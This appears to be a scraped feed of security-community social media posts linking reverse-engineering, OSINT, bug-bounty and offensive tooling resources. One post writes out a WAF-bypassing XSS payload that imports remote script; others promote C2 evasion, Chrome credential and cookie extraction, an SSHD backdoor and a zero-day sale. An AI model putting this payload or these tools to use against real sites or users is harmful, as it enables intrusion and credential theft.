n0n4me

[0x0さん @LxlxIxlxlxL]

If you do Windows internals / reversing, bookmark this.

@j00ru's syscall table tracks x86-64 Nt* syscall IDs across Windows XP all the way through modern Windows 11/Server builds.

Great for version diffing, old sample analysis, syscall-stub validation and generally answering “what the hell was 0x72 on this build?”

https://t.co/POXiAnTN2n

[cr3ghost @cr3ghost]

If you're into reverse engineering, Windows internals or anti-cheat research, @cra0_net 's blog is one of those archives you can lose an entire weekend in.

Years of reversing games, engines and protection systems:

• IDA tooling + function signature preservation
• Windows kernel debugging with WinDbg/KDNET
• Source 2 reversing
• VAC / VAC3 / VAC Live
• Code integrity + DLL verification
• Byfron Hyperion anti-tamper
• BattlEye + Windows loader internals
• Anti-debugging
• File formats, game engines and asset formats
• Hardware reversing

Some particularly good rabbit holes:

VAC3 / Valve false-positive research:
https://t.co/bUpoZM6m63

CS2 Code Integrity, VAC, VACnet + VAC Live:
https://t.co/u3mIYXXWys

Byfron Hyperion Anti-Tamper:
https://t.co/9wWJL6yhHP

BattlEye + ntdll loader internals:
https://t.co/BPqXssv8Z8

Preserving RE work across binary updates with IDA:
https://t.co/eRbl4qy4yM

Windows kernel debugging Part 1:
https://t.co/U3Bk2BTcHz

Windows kernel debugging Part 2 / KDNET:
https://t.co/6psxnHEutJ

Full archive:
https://t.co/muc0iXWbaS

Game hacking is often just reverse engineering with a different objective.

Anti-cheat research in particular sits right at the intersection of RE, Windows internals, anti-tamper, detection engineering and systems security.
Old and new, there's a lot of gold in this archive.

#ReverseEngineering #WindowsInternals #InfoSec

[Coffin @lostsec_]

You can also use Shodan's Certificate Transparency (CT) API to enumerate a target's subdomains directly from the https://t.co/b8sFqTyruD database.
https://t.co/6vL6HjRSmi

/api/v1/domain/{domain} ~returns the certificates that match a domain

/api/v1/domain/{domain}/hostnames ~returns all hostnames associated with a domain

[0xor0ne @0xor0ne]

TP-LINK TAPO security cameras reverse engineering and exploitation (@TaszkSecLabs)

https://t.co/TRf5uoEEBq

#infosec

[Smukx.E @5mukx]

CPP / C++ Notes for Windows API Programming Win32

Resource:- https://t.co/aEszb6bHDR

[0xor0ne @0xor0ne]

Hardening an Adaptix C2 agent DLL with reflective loading evasion

Part 1: https://t.co/I1YTQbMVcd
Part 2: https://t.co/1viRQYvRBu

#infosec

[Cyber Detective💙💛 @cyb_detective]

OSINT BOOKS

Github repo with list of books about Open Source Intelligence, investigations techniques, online privacy etc

https://t.co/pjnOukZkIE

[André Baptista @0xacb]

It's crazy how hallucinated AI CVE PoCs keep ending up in @NIST NVD references.

One recent example is CVE-2026-21962, a 10.0 CVE in Oracle HTTP Server / Apache Proxy Plugin.

https://t.co/u33KjhBxTZ links to a GitHub repository with a fake PoC.

This also propagates to @github advisories: https://t.co/37TFXgGpe1

Meanwhile, some blue teams are injecting AI slop rules to prevent this and thinking they are protected, but they are not.

[𝘻𝘰𝘪𝘥𝘴𝘦𝘤 @z0idsec]

This is great 🔥🔥🔥

https://t.co/qmkGALd2Nd

[Nicolas Krassas @Dinosn]

Cloudflare Bypass Tool 2026 https://t.co/AUejIc2UUQ

[Alexandre Borges @ale_sp_brazil]

So far I have published 13 articles (862 pages) to help other professionals in the cybersecurity community:

ERS 03: https://t.co/4lo5Hi0gnd
ERS 02: https://t.co/6SNMK1tBkd
ERS 01: https://t.co/YMTSBl59VC
MAS 10: https://t.co/eS2S5fVqjl
MAS 09: https://t.co/2RTyR4Foqj
MAS 09: https://t.co/yvXoY9uoDH
MAS 07: https://t.co/DIcpSdQRqo
MAS 06: https://t.co/AvjPAaSP1f
MAS 05: https://t.co/4wFVoBFCAr
MAS 04: https://t.co/PE7JeELxvO
MAS 03: https://t.co/QXa2To5rfk
MAS 02: https://t.co/BPt9L7Q7oo
MAS 01: https://t.co/vGnT26NgsP

Even though I have very limited time to write, I hope to be able to share new articles soon.

Have a great day.

#reverseengineering #vulnerability #research #windows #chrome #informationsecurity #infosec #kernel #drivers #malware #windows #macOS #linux

[Dark Web Informer @DarkWebInformer]

❗️Zero-day exploit for WordPress plugin allegedly sold for large-scale spam abuse

📌 Country: Unknown

▪️Type: Exploit Sale (Zero-day)
▪️Threat actor: Biden
▪️Samples: Yes

A threat actor claims to be selling the source code for a zero-day exploit targeting a WordPress plugin with over 4,000 installations. According to the listing, the vulnerability allows unauthorized email sending from affected websites and supports both mass and individual mail campaigns. Screenshots and email output are shared as proof.

Details claimed in the listing:

▪️Target: WordPress plugin
▪️Plugin installs referenced: 4,000+
▪️Vulnerable sites claimed: 3,800+
▪️Exploit capability: Unauthorized email sending
▪️Use case described: Spam / phishing
▪️Patch status claimed: Not patched
▪️Sale type: Single buyer only
▪️Price: $1,500

[/ XNL -н4cĸ3r (and @xnl-h4ck3r in the new Sky) @xnl_h4ck3r]

v7.13 of xnLinkFinder is available:

🩹 BUG FIX: The --depth processing wasn't working correctly (not sure since when)
✅ Implement Keep-Alive to slightly speed up
🩹 See CHANGELOG for other bug fixes

https://t.co/hAHxqZKxOK
#BugBounty
🤘

[Dark Web Informer @DarkWebInformer]

🚨 CVE-2025-6389: WordPress Sneeit Framework plugin vulnerability currently under active exploitation

PoC: https://t.co/RERzeyOVpu

▪️Vulnerability Type: Remote Code Execution (RCE)
▪️CVSS: 9.8
▪️Published: 11/24/2025

Impact:

��️Full site compromise
▪️Create admin accounts
▪️Install backdoors/malicious files
▪️Redirect visitors or inject malware

Credit: https://t.co/rXSgNYA8kP

[Brute @BRuteLogic]

Another #XSS Payload to Rule Them All!

#Bypass Imperva, Akamai and CloudFlare WAF

=> Prepend with 50 chars then use

1"><A HRef=%26quot AutoFocus OnFocus%0C={import(/https:https://t.co/Ng2aOLONda)}>

PoC: https://t.co/k2GsBxMmG5

#hack2learn @KN0X55

[Md Ismail Šojal 🕷️ @0x0SojalSec]

$ cat file.js | grep -aoP "(?<=(\"|\'|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\`))" | sort -u

#cybersec #infosec #bugbountytips

[Jenish Sojitra @_jensec]

Sharing my Burp Extension that earned me $200k in 2025 while API testing heavy JS-rich targets.

https://t.co/2ttRurgoPh

The tool helps find endpoints, files, internal emails, and some secrets from minified JS.

Its goal is to achieve maximum efficiency with reduced noise in results. Contributions and feedbacks are welcome.

[MalDev Academy @MalDevAcademy]

Two repositories uploaded:

DumpChromeSecrets - Extract data from modern Chrome versions, including refresh tokens, cookies, saved credentials, autofill data, browsing history, and bookmarks.

https://t.co/KZNcGAnStY

GhostlyHollowingViaTamperedSyscalls2- Combining Ghostly Hollowing and Tampered Syscalls.

https://t.co/VpViq5ohKl

[Md Ismail Šojal 🕷️ @0x0SojalSec]

List of Almost all OSINT tools for penetration testing and information gathering✨

- https://t.co/A2lcWxob0p

#infosec #cybersec #bugbountytip

[The Hacker's Choice (@[email protected]) @hackerschoice]

THC Release: 🎄Smallest SSHD backdoor🎄

- Does not add any new file
- Survives apt-update
- Does not use PAM or authorized_keys

Just SSHD trickery....adds one line only.

More at https://t.co/zVCLwmbXv2 👌